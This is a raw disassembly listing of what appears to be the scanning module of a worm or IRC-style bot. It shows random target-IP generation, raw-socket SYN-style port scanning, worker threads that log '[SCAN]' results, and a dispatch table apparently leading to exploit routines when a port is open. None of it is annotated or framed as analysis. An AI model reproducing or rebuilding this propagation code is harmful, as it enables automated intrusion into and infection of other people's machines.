; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr 77C41B72h
		nop
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB90[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		nop
		call	near ptr 71AB2DC0h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		call	near ptr 77C371D3h
		nop
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EFFD5
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44467C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27C08B0h
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FCBh[eax*4]
		mov	eax, dword_4491CF[eax*4]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EFFD5
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EFFD5
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAD0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAD0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444420h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EFFD5
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44444C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 2801E3Fh
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2810000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB90[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAD0
		nop
		call	near ptr 275036Eh
		push	offset dword_50DAD0
		call	near ptr 2750A65h
		nop


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB94[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EFFD5
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491CF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491DF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491DF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		nop
		call	near ptr 279081Fh
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EFFD5
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB94[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB94[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB90[ecx*8]
		push	ecx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EFFD5
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB94[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAD0
		nop
		call	near ptr 275036Eh


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2810000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		call	near ptr 77C2C407h
		nop
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F74
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
